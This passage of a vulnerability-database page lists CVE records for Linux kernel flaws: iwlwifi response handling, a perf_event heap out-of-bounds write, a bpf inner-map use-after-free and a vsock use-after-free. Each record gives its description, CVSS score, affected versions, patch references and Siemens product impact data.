                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.116",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.60",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.7",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: mvm: Fix response handling in iwl_mvm_send_recovery_cmd()\n\n1. The size of the response packet is not validated.\n2. The response buffer is not freed.\n\nResolve these issues by switching to iwl_mvm_send_cmd_status(),\nwhich handles both size validation and frees the buffer."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:50:00.470Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9c98ee7ea463a838235e7a0e35851b38476364f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/45a628911d3c68e024eed337054a0452b064f450"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f45d590ccbae6dfd6faef54efe74c30bd85d3da"
        },
        {
          "url": "https://git.kernel.org/stable/c/64d63557ded6ff3ce72b18ab87a6c4b1b652161c"
        },
        {
          "url": "https://git.kernel.org/stable/c/3eb986c64c6bfb721950f9666a3b723cf65d043f"
        },
        {
          "url": "https://git.kernel.org/stable/c/9480c3045f302f43f9910d2d556d6cf5a62c1822"
        },
        {
          "url": "https://git.kernel.org/stable/c/07a6e3b78a65f4b2796a8d0d4adb1a15a81edead"
        }
      ],
      "title": "wifi: iwlwifi: mvm: Fix response handling in iwl_mvm_send_recovery_cmd()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-53059",
    "datePublished": "2024-11-19T17:19:41.546Z",
    "dateReserved": "2024-11-19T17:17:24.974Z",
    "dateUpdated": "2026-05-12T12:01:12.912Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-6931 (GCVE-0-2023-6931)

Vulnerability from cvelistv5 – Published: 2023-12-19 14:09 – Updated: 2026-05-12 10:46

Title

Out-of-bounds write in Linux kernel's Performance Events system component

Summary

A heap out-of-bounds write vulnerability in the Linux kernel's Performance Events system component can be exploited to achieve local privilege escalation. A perf_event's read_size can overflow, leading to an heap out-of-bounds increment or write in perf_read_group(). We recommend upgrading past commit 382c27f4ed28f803b1f1473ac2d8db0afc795a1b.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-787 - Out-of-bounds Write

Assigner

Google

References

4 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/s…	patch
https://kernel.dance/382c27f4ed28f803b1f1473ac2d8…
https://lists.debian.org/debian-lts-announce/2024…
https://lists.debian.org/debian-lts-announce/2024…

Impacted products

1 product

Vendor	Product	Version
Linux	Kernel	Affected: 4.3 , < 6.7 (custom)

Date Public ?

2023-11-29 14:43

Credits

Budimir Markovic

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T08:42:08.665Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=382c27f4ed28f803b1f1473ac2d8db0afc795a1b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://kernel.dance/382c27f4ed28f803b1f1473ac2d8db0afc795a1b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:46:41.370Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Kernel",
          "repo": "https://git.kernel.org",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.7",
              "status": "affected",
              "version": "4.3",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Budimir Markovic"
        }
      ],
      "datePublic": "2023-11-29T14:43:50.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A heap out-of-bounds write vulnerability in the Linux kernel\u0027s Performance Events system component can be exploited to achieve local privilege escalation.\n\nA perf_event\u0027s read_size can overflow, leading to an heap out-of-bounds increment or write in perf_read_group().\n\nWe recommend upgrading past commit 382c27f4ed28f803b1f1473ac2d8db0afc795a1b."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "CWE-787 Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-01-11T19:06:49.508Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=382c27f4ed28f803b1f1473ac2d8db0afc795a1b"
        },
        {
          "url": "https://kernel.dance/382c27f4ed28f803b1f1473ac2d8db0afc795a1b"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Out-of-bounds write in Linux kernel\u0027s Performance Events system component",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
    "assignerShortName": "Google",
    "cveId": "CVE-2023-6931",
    "datePublished": "2023-12-19T14:09:14.085Z",
    "dateReserved": "2023-12-18T20:13:06.510Z",
    "dateUpdated": "2026-05-12T10:46:41.370Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-52447 (GCVE-0-2023-52447)

Vulnerability from cvelistv5 – Published: 2024-02-22 16:21 – Updated: 2026-05-12 11:21

Title

bpf: Defer the free of inner map when necessary

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Defer the free of inner map when necessary When updating or deleting an inner map in map array or map htab, the map may still be accessed by non-sleepable program or sleepable program. However bpf_map_fd_put_ptr() decreases the ref-counter of the inner map directly through bpf_map_put(), if the ref-counter is the last one (which is true for most cases), the inner map will be freed by ops->map_free() in a kworker. But for now, most .map_free() callbacks don't use synchronize_rcu() or its variants to wait for the elapse of a RCU grace period, so after the invocation of ops->map_free completes, the bpf program which is accessing the inner map may incur use-after-free problem. Fix the free of inner map by invoking bpf_map_free_deferred() after both one RCU grace period and one tasks trace RCU grace period if the inner map has been removed from the outer map before. The deferment is accomplished by using call_rcu() or call_rcu_tasks_trace() when releasing the last ref-counter of bpf map. The newly-added rcu_head field in bpf_map shares the same storage space with work field to reduce the size of bpf_map.

Severity ?

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/90c445799fd1dc214…
https://git.kernel.org/stable/c/37d98fb9c3144c0fd…
https://git.kernel.org/stable/c/62fca83303d608ad4…
https://git.kernel.org/stable/c/f91cd728b10c51f6d…
https://git.kernel.org/stable/c/bfd9b20c4862f41d4…
https://git.kernel.org/stable/c/876673364161da50e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bba1dc0b55ac462d24ed1228ad49800c238cd6d7 , < 90c445799fd1dc214d7c6279c144e33a35e29ef2 (git) Affected: bba1dc0b55ac462d24ed1228ad49800c238cd6d7 , < 37d98fb9c3144c0fddf7f6e99aece9927ac8dce6 (git) Affected: bba1dc0b55ac462d24ed1228ad49800c238cd6d7 , < 62fca83303d608ad4fec3f7428c8685680bb01b0 (git) Affected: bba1dc0b55ac462d24ed1228ad49800c238cd6d7 , < f91cd728b10c51f6d4a39957ccd56d1e802fc8ee (git) Affected: bba1dc0b55ac462d24ed1228ad49800c238cd6d7 , < bfd9b20c4862f41d4590fde11d70a5eeae53dcc5 (git) Affected: bba1dc0b55ac462d24ed1228ad49800c238cd6d7 , < 876673364161da50eed6b472d746ef88242b2368 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.75 , ≤ 6.1.* (semver) Unaffected: 6.6.14 , ≤ 6.6.* (semver) Unaffected: 6.7.2 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unaffected",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "90c445799fd1",
                "status": "affected",
                "version": "bba1dc0b55ac",
                "versionType": "git"
              },
              {
                "lessThan": "37d98fb9c314",
                "status": "affected",
                "version": "bba1dc0b55ac",
                "versionType": "git"
              },
              {
                "lessThan": "62fca83303d6",
                "status": "affected",
                "version": "bba1dc0b55ac",
                "versionType": "git"
              },
              {
                "lessThan": "f91cd728b10c",
                "status": "affected",
                "version": "bba1dc0b55ac",
                "versionType": "git"
              },
              {
                "lessThan": "bfd9b20c4862",
                "status": "affected",
                "version": "bba1dc0b55ac",
                "versionType": "git"
              },
              {
                "lessThan": "876673364161",
                "status": "affected",
                "version": "bba1dc0b55ac",
                "versionType": "git"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:5.9:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "affected",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "affected",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.9",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.10.*",
                "status": "unaffected",
                "version": "5.10.214",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.15.*",
                "status": "unaffected",
                "version": "5.15.153",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.1.*",
                "status": "unaffected",
                "version": "6.1.75",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.6.*",
                "status": "unaffected",
                "version": "6.6.14",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.7.*",
                "status": "unaffected",
                "version": "6.7.2",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "*",
                "status": "unaffected",
                "version": "6.8",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 6.7,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-52447",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-15T21:02:24.907266Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-15T21:08:15.323Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T22:55:41.700Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/90c445799fd1dc214d7c6279c144e33a35e29ef2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/37d98fb9c3144c0fddf7f6e99aece9927ac8dce6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/62fca83303d608ad4fec3f7428c8685680bb01b0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f91cd728b10c51f6d4a39957ccd56d1e802fc8ee"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bfd9b20c4862f41d4590fde11d70a5eeae53dcc5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/876673364161da50eed6b472d746ef88242b2368"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:21:39.003Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/bpf.h",
            "kernel/bpf/map_in_map.c",
            "kernel/bpf/syscall.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "90c445799fd1dc214d7c6279c144e33a35e29ef2",
              "status": "affected",
              "version": "bba1dc0b55ac462d24ed1228ad49800c238cd6d7",
              "versionType": "git"
            },
            {
              "lessThan": "37d98fb9c3144c0fddf7f6e99aece9927ac8dce6",
              "status": "affected",
              "version": "bba1dc0b55ac462d24ed1228ad49800c238cd6d7",
              "versionType": "git"
            },
            {
              "lessThan": "62fca83303d608ad4fec3f7428c8685680bb01b0",
              "status": "affected",
              "version": "bba1dc0b55ac462d24ed1228ad49800c238cd6d7",
              "versionType": "git"
            },
            {
              "lessThan": "f91cd728b10c51f6d4a39957ccd56d1e802fc8ee",
              "status": "affected",
              "version": "bba1dc0b55ac462d24ed1228ad49800c238cd6d7",
              "versionType": "git"
            },
            {
              "lessThan": "bfd9b20c4862f41d4590fde11d70a5eeae53dcc5",
              "status": "affected",
              "version": "bba1dc0b55ac462d24ed1228ad49800c238cd6d7",
              "versionType": "git"
            },
            {
              "lessThan": "876673364161da50eed6b472d746ef88242b2368",
              "status": "affected",
              "version": "bba1dc0b55ac462d24ed1228ad49800c238cd6d7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/bpf.h",
            "kernel/bpf/map_in_map.c",
            "kernel/bpf/syscall.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.75",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.75",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.14",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.2",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Defer the free of inner map when necessary\n\nWhen updating or deleting an inner map in map array or map htab, the map\nmay still be accessed by non-sleepable program or sleepable program.\nHowever bpf_map_fd_put_ptr() decreases the ref-counter of the inner map\ndirectly through bpf_map_put(), if the ref-counter is the last one\n(which is true for most cases), the inner map will be freed by\nops-\u003emap_free() in a kworker. But for now, most .map_free() callbacks\ndon\u0027t use synchronize_rcu() or its variants to wait for the elapse of a\nRCU grace period, so after the invocation of ops-\u003emap_free completes,\nthe bpf program which is accessing the inner map may incur\nuse-after-free problem.\n\nFix the free of inner map by invoking bpf_map_free_deferred() after both\none RCU grace period and one tasks trace RCU grace period if the inner\nmap has been removed from the outer map before. The deferment is\naccomplished by using call_rcu() or call_rcu_tasks_trace() when\nreleasing the last ref-counter of bpf map. The newly-added rcu_head\nfield in bpf_map shares the same storage space with work field to\nreduce the size of bpf_map."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T19:27:30.626Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/90c445799fd1dc214d7c6279c144e33a35e29ef2"
        },
        {
          "url": "https://git.kernel.org/stable/c/37d98fb9c3144c0fddf7f6e99aece9927ac8dce6"
        },
        {
          "url": "https://git.kernel.org/stable/c/62fca83303d608ad4fec3f7428c8685680bb01b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/f91cd728b10c51f6d4a39957ccd56d1e802fc8ee"
        },
        {
          "url": "https://git.kernel.org/stable/c/bfd9b20c4862f41d4590fde11d70a5eeae53dcc5"
        },
        {
          "url": "https://git.kernel.org/stable/c/876673364161da50eed6b472d746ef88242b2368"
        }
      ],
      "title": "bpf: Defer the free of inner map when necessary",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2023-52447",
    "datePublished": "2024-02-22T16:21:39.032Z",
    "dateReserved": "2024-02-20T12:30:33.292Z",
    "dateUpdated": "2026-05-12T11:21:39.003Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21756 (GCVE-0-2025-21756)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

vsock: Keep the binding until socket destruction

Summary

In the Linux kernel, the following vulnerability has been resolved: vsock: Keep the binding until socket destruction Preserve sockets bindings; this includes both resulting from an explicit bind() and those implicitly bound through autobind during connect(). Prevents socket unbinding during a transport reassignment, which fixes a use-after-free: 1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2) 2. transport->release() calls vsock_remove_bound() without checking if sk was bound and moved to bound list (refcnt=1) 3. vsock_bind() assumes sk is in unbound list and before __vsock_insert_bound(vsock_bound_sockets()) calls __vsock_remove_bound() which does: list_del_init(&vsk->bound_table); // nop sock_put(&vsk->sk); // refcnt=0 BUG: KASAN: slab-use-after-free in __vsock_bind+0x62e/0x730 Read of size 4 at addr ffff88816b46a74c by task a.out/2057 dump_stack_lvl+0x68/0x90 print_report+0x174/0x4f6 kasan_report+0xb9/0x190 __vsock_bind+0x62e/0x730 vsock_bind+0x97/0xe0 __sys_bind+0x154/0x1f0 __x64_sys_bind+0x6e/0xb0 do_syscall_64+0x93/0x1b0 entry_SYSCALL_64_after_hwframe+0x76/0x7e Allocated by task 2057: kasan_save_stack+0x1e/0x40 kasan_save_track+0x10/0x30 __kasan_slab_alloc+0x85/0x90 kmem_cache_alloc_noprof+0x131/0x450 sk_prot_alloc+0x5b/0x220 sk_alloc+0x2c/0x870 __vsock_create.constprop.0+0x2e/0xb60 vsock_create+0xe4/0x420 __sock_create+0x241/0x650 __sys_socket+0xf2/0x1a0 __x64_sys_socket+0x6e/0xb0 do_syscall_64+0x93/0x1b0 entry_SYSCALL_64_after_hwframe+0x76/0x7e Freed by task 2057: kasan_save_stack+0x1e/0x40 kasan_save_track+0x10/0x30 kasan_save_free_info+0x37/0x60 __kasan_slab_free+0x4b/0x70 kmem_cache_free+0x1a1/0x590 __sk_destruct+0x388/0x5a0 __vsock_bind+0x5e1/0x730 vsock_bind+0x97/0xe0 __sys_bind+0x154/0x1f0 __x64_sys_bind+0x6e/0xb0 do_syscall_64+0x93/0x1b0 entry_SYSCALL_64_after_hwframe+0x76/0x7e refcount_t: addition on 0; use-after-free. WARNING: CPU: 7 PID: 2057 at lib/refcount.c:25 refcount_warn_saturate+0xce/0x150 RIP: 0010:refcount_warn_saturate+0xce/0x150 __vsock_bind+0x66d/0x730 vsock_bind+0x97/0xe0 __sys_bind+0x154/0x1f0 __x64_sys_bind+0x6e/0xb0 do_syscall_64+0x93/0x1b0 entry_SYSCALL_64_after_hwframe+0x76/0x7e refcount_t: underflow; use-after-free. WARNING: CPU: 7 PID: 2057 at lib/refcount.c:28 refcount_warn_saturate+0xee/0x150 RIP: 0010:refcount_warn_saturate+0xee/0x150 vsock_remove_bound+0x187/0x1e0 __vsock_release+0x383/0x4a0 vsock_release+0x90/0x120 __sock_release+0xa3/0x250 sock_close+0x14/0x20 __fput+0x359/0xa80 task_work_run+0x107/0x1d0 do_exit+0x847/0x2560 do_group_exit+0xb8/0x250 __x64_sys_exit_group+0x3a/0x50 x64_sys_call+0xfec/0x14f0 do_syscall_64+0x93/0x1b0 entry_SYSCALL_64_after_hwframe+0x76/0x7e

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/e7754d564579a5db9…
https://git.kernel.org/stable/c/e48fcb403c2d0e574…
https://git.kernel.org/stable/c/42b33381e5e1f2b96…
https://git.kernel.org/stable/c/3f43540166128951c…
https://git.kernel.org/stable/c/645ce25aa0e67895b…
https://git.kernel.org/stable/c/b1afd40321f1c243c…
https://git.kernel.org/stable/c/fcdd2242c0231032f…

Impacted products

2 products

Vendor	Product	Version
